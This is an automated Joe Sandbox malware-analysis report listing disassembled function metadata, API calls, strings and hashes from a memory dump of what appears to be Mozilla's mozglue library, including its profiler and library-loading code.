Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 96181f219f0c5487adb39265f19baf870ec5115811a22cd26c1a1102cd98c242
Instruction ID: 29ae0f3ea043da369295fa35dc6335c9f4e9e369eaaad5750817e847bdfa8de6
Opcode Fuzzy Hash: 96181f219f0c5487adb39265f19baf870ec5115811a22cd26c1a1102cd98c242
Instruction Fuzzy Hash: F7B16E3560C3818BEB14CF28C85465FB7E2AFC9358F154A1CE99567B91DB70ED0ACB82

Function 6C4E8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C4E97EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4E9813, 6C4E985D, 6C4E9878, 6C4E9CEB

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: b290b7dea8941bdd8119d495f20d9246f65aeff94b4ed514ce41fae6174da3d5
Instruction ID: 6f8ccbe71eef87e7be6673da7823b54164df2aaf43b88693891f69c6eee99d66
Opcode Fuzzy Hash: b290b7dea8941bdd8119d495f20d9246f65aeff94b4ed514ce41fae6174da3d5
Instruction Fuzzy Hash: 3FD29F71A156018FC718CF19C490F55BBE1BF99326B2AC76DD86A8B7E5C732E841CB80

Function 6C506CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C506D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C506E1E

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 2b89f49f52b001512d622ff32cec4f5be8b48b71c85d2d2fc5495b5bff9b8802
Instruction ID: aa684f81dd4672815577c64034d3c4404e89ce1ba607f8d42c3da50f25ac2f7b
Opcode Fuzzy Hash: 2b89f49f52b001512d622ff32cec4f5be8b48b71c85d2d2fc5495b5bff9b8802
Instruction Fuzzy Hash: EBA17F746183818FD715CF24C894BAEBBE2BFC9308F45491DE88A87751DB70A949CB92

Function 6C52B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C52B720
RtlNtStatusToDosError.NTDLL ref: 6C52B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C4FFE3F,00000000,00000000,?,?,00000000,?,6C4FFE3F), ref: 6C52B760

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: e0f164fd00cae6fe70ad813489f4c447bebf03f79ce673ab56862dc44d65bb69
Instruction ID: b34d94695d78857c6256e35adf6eead4062f9d3e4c271bdd94662458b099ce15
Opcode Fuzzy Hash: e0f164fd00cae6fe70ad813489f4c447bebf03f79ce673ab56862dc44d65bb69
Instruction Fuzzy Hash: FCF0C87094021CEEDF01AAA1CC84BDF77FCDB4431DF146229D516655C0D778A5CCC6A1

Function 6C4E4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C4E4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4E5585, 6C4E55A8, 6C4E55C3, 6C4E5624

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 031c3c48fa269cf8d3810a6614ba79d11026897d4141ee92d50c2de50f6812ef
Instruction ID: a14fc261dd8bbf42bc2fc88cbbcf0563612ecf10d14b493d004ef36a778bdd8b
Opcode Fuzzy Hash: 031c3c48fa269cf8d3810a6614ba79d11026897d4141ee92d50c2de50f6812ef
Instruction Fuzzy Hash: D0B24C71A056018FD308CF29C550F15BBE2BFC9326B2AC7ADE4698B7A5D771E841CB80

Function 6C5285F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C528C7C
__aulldiv.LIBCMT ref: 6C528DD7

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 75bb75c72332334356d6dd4e73e57d6a2cb0c280619e00ad967e0abf681a6ebc
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DF326372F011198BDF18CE9CC8A1BAEB7F2FB88300F15853AD506BB794D6386D458B91

Function 6C5376E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qLl, xrefs: 6C537796, 6C5379C0, 6C53793C, 6C537E0B, 6C5379FB, 6C537B0B

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID: ~qLl
API String ID: 0-3881772974
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 0f8fd971567c6e49b04208df52c703b25784b0f560c01b7bc7910e3a595cd5e4
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: C732F871E0062ACFCB14CF98C990A9DFBB2FF88304F549569C949A7745E731A986CF90

Function 6C536E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qLl, xrefs: 6C537C03, 6C5379C0, 6C53793C, 6C537C72, 6C537E0B, 6C5379FB, 6C537B0B

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID: ~qLl
API String ID: 0-3881772974
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 27fb0730f73378b7735bcff952baca7979c471a0910c981828948ce87c5a0212
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 5422E771E00629CFCB14CF98C990A9DF7B2FF88304F6495AAC549A7745E731A986CF90

Function 6C505C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C4D4A63,?,?), ref: 6C505F06

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: e0c1b8d635446228c519fce07e8dee266157afe5d371b3d72b6079285dd6fd6e
Instruction ID: 6d80197de2df654a7e8ab8ff0fcaba2d4515def83abb99403833fa93d4479cb2
Opcode Fuzzy Hash: e0c1b8d635446228c519fce07e8dee266157afe5d371b3d72b6079285dd6fd6e
Instruction Fuzzy Hash: ADC1D375E012098BCB04CF55C9906EEBBF2FF89318F68415DD855ABB44D732A906CF94

Function 6C4CDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47e874b7cbb4ce2d49d9a062ff1f82ddd028edecb26554c7e264a7b00b4f1f3f
Instruction ID: 0790bb38a0b97ecb196dd2a16e6c67e96c47ffb4ace12e2e0a619964f9a2bea3
Opcode Fuzzy Hash: 47e874b7cbb4ce2d49d9a062ff1f82ddd028edecb26554c7e264a7b00b4f1f3f
Instruction Fuzzy Hash: 1E42A376B187508BD314CE3CC891B5AB3E2BFC9354F09472DE999A77A0D734D9418782

Function 6C4F0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 88635fa26b55bf75f28300497dc248fb13ae5432ea76699daf71a1677c577fb8
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 93220575E00629CFDB14CF98C990AADFBB2FF88304F548299C45AA7705D771A986CF90

Function 6C53AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb616e9286f2d3735598cf66841af5f06e3588ef6f3ca2cf33184f0b5a209c7
Instruction ID: e3615a400784f59eed630da9c3d8132a1fc3d79d1d01575e40bead4577b2f95b
Opcode Fuzzy Hash: 9bb616e9286f2d3735598cf66841af5f06e3588ef6f3ca2cf33184f0b5a209c7
Instruction Fuzzy Hash: 66F14971A087658FDB00CEA8CC907AAB7E2AFC5318F159A2DE4D8877D1F374D8458792

Function 6C4CC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 6e891f65b649061a22172d13adaae74929eee77ea5b42a4b9af274fb649f7980
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 32A1B075F0021A8BDB08CE69C891BAEB7F2EFC8355F188129D915E7791DB349C068BD1

Function 6C507710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 689c65a03dc703df95b95f741b7e42f57f5af62f117665ce3711285e655b7a89
Instruction ID: f861a56440d7b420bbcdd2c23c392b8347b9d55c63db56e5d0b7f3228e5aac2c
Opcode Fuzzy Hash: 689c65a03dc703df95b95f741b7e42f57f5af62f117665ce3711285e655b7a89
Instruction Fuzzy Hash: 98716D75E012198FCF18CFA9D8906EEBBB2FF89354F24816ED915AB740D731A905CB90

Function 6C50CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4D582D), ref: 6C50CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4D582D), ref: 6C50CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C53FE98,?,?,?,?,?,6C4D582D), ref: 6C50CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4D582D), ref: 6C50CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4D582D), ref: 6C50CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4D582D), ref: 6C50CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4D582D), ref: 6C50CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C50CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C50CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C50CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C50CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C50CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C50CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C50CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C50CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C50CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C50CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C50CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C50CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C50CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C50CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C50CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C50CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C50CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C50CE8A

Strings

ipcmessages, xrefs: 6C50CDBE
cpuallthreads, xrefs: 6C50CE16
fileioall, xrefs: 6C50CCA8
nostacksampling, xrefs: 6C50CD7C
seqstyle, xrefs: 6C50CCE6
samplingallthreads, xrefs: 6C50CE2C
audiocallbacktracing, xrefs: 6C50CDD4
default, xrefs: 6C50CC21
stackwalk, xrefs: 6C50CCF8
power, xrefs: 6C50CE84
leaf, xrefs: 6C50CC66
java, xrefs: 6C50CC37
notimerresolutionchange, xrefs: 6C50CE00
markersallthreads, xrefs: 6C50CE42
noiostacks, xrefs: 6C50CCBE
jsallocations, xrefs: 6C50CD0E
nativeallocations, xrefs: 6C50CDA8
preferencereads, xrefs: 6C50CD92
fileio, xrefs: 6C50CC92
screenshots, xrefs: 6C50CCD4
Unrecognized feature "%s"., xrefs: 6C50CEA0
mainthreadio, xrefs: 6C50CC7C
processcpu, xrefs: 6C50CE6E
unregisteredthreads, xrefs: 6C50CE58

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 5ff129968f7b55d88dbd5c29bab26e252a600060706aa33f528e8ff5dc3db4b0
Instruction ID: 062271e2752347d849ac188fc51a9d75b48fc78fb75554f82b414ab84f15a3e4
Opcode Fuzzy Hash: 5ff129968f7b55d88dbd5c29bab26e252a600060706aa33f528e8ff5dc3db4b0
Instruction Fuzzy Hash: 0A51B9F3B4527592FA0171596D10BAA1505EFA324AF105936ED0FE5E80FF04BA09C6B7

Function 6C4D47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4D4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4D4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4D482D
__Init_thread_footer.LIBCMT ref: 6C4D484A

Part of subcall function 6C4FAB3F: EnterCriticalSection.KERNEL32(6C54E370,?,?,6C4C3527,6C54F6CC,?,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB49
Part of subcall function 6C4FAB3F: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C3527,6C54F6CC,?,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FAB7C

GetCurrentThreadId.KERNEL32 ref: 6C4D485F
GetCurrentThreadId.KERNEL32 ref: 6C4D487E
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C4D488B
free.MOZGLUE(?), ref: 6C4D493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4D4956
free.MOZGLUE(00000000), ref: 6C4D4960
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C4D499A

Part of subcall function 6C4FAB89: EnterCriticalSection.KERNEL32(6C54E370,?,?,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB94
Part of subcall function 6C4FAB89: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FABD1

free.MOZGLUE(?), ref: 6C4D49C6
free.MOZGLUE(?), ref: 6C4D49E9

Part of subcall function 6C4E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4E5EDB
Part of subcall function 6C4E5E90: memset.VCRUNTIME140(ewRl,000000E5,?), ref: 6C4E5F27
Part of subcall function 6C4E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4E5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4D4812
[I %d/%d] profiler_shutdown, xrefs: 6C4D4A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4D47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4D4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4D4A42

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 792b709b95f7fcca3dbce49a8213f56d22c8b4cb2186accf02b20b4ce8a90f76
Instruction ID: 27bae8a4a39792f8ba794097de075c57e9d05ee906f26600b5b0d7996388f579
Opcode Fuzzy Hash: 792b709b95f7fcca3dbce49a8213f56d22c8b4cb2186accf02b20b4ce8a90f76
Instruction Fuzzy Hash: D681F271A001008BDB14FF28CCA4F5A37B1AF823ADF174269E91697B41E731F855CB9A

Function 6C4D4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4D44B2,6C54E21C,6C54F7F8), ref: 6C4D473E
Part of subcall function 6C4D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4D44D2
InitOnceExecuteOnce.KERNEL32(6C54F80C,6C4CF240,?,?), ref: 6C4D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4D455C
LoadLibraryW.KERNEL32(?), ref: 6C4D4592
InitializeCriticalSection.KERNEL32(6C54F770), ref: 6C4D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4D45BB
InitOnceExecuteOnce.KERNEL32(6C54F818,6C4CF240,?,?), ref: 6C4D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4D466D
VerSetConditionMask.NTDLL ref: 6C4D469F
VerSetConditionMask.NTDLL ref: 6C4D46AB
VerSetConditionMask.NTDLL ref: 6C4D46B2
VerSetConditionMask.NTDLL ref: 6C4D46B9
VerSetConditionMask.NTDLL ref: 6C4D46C0
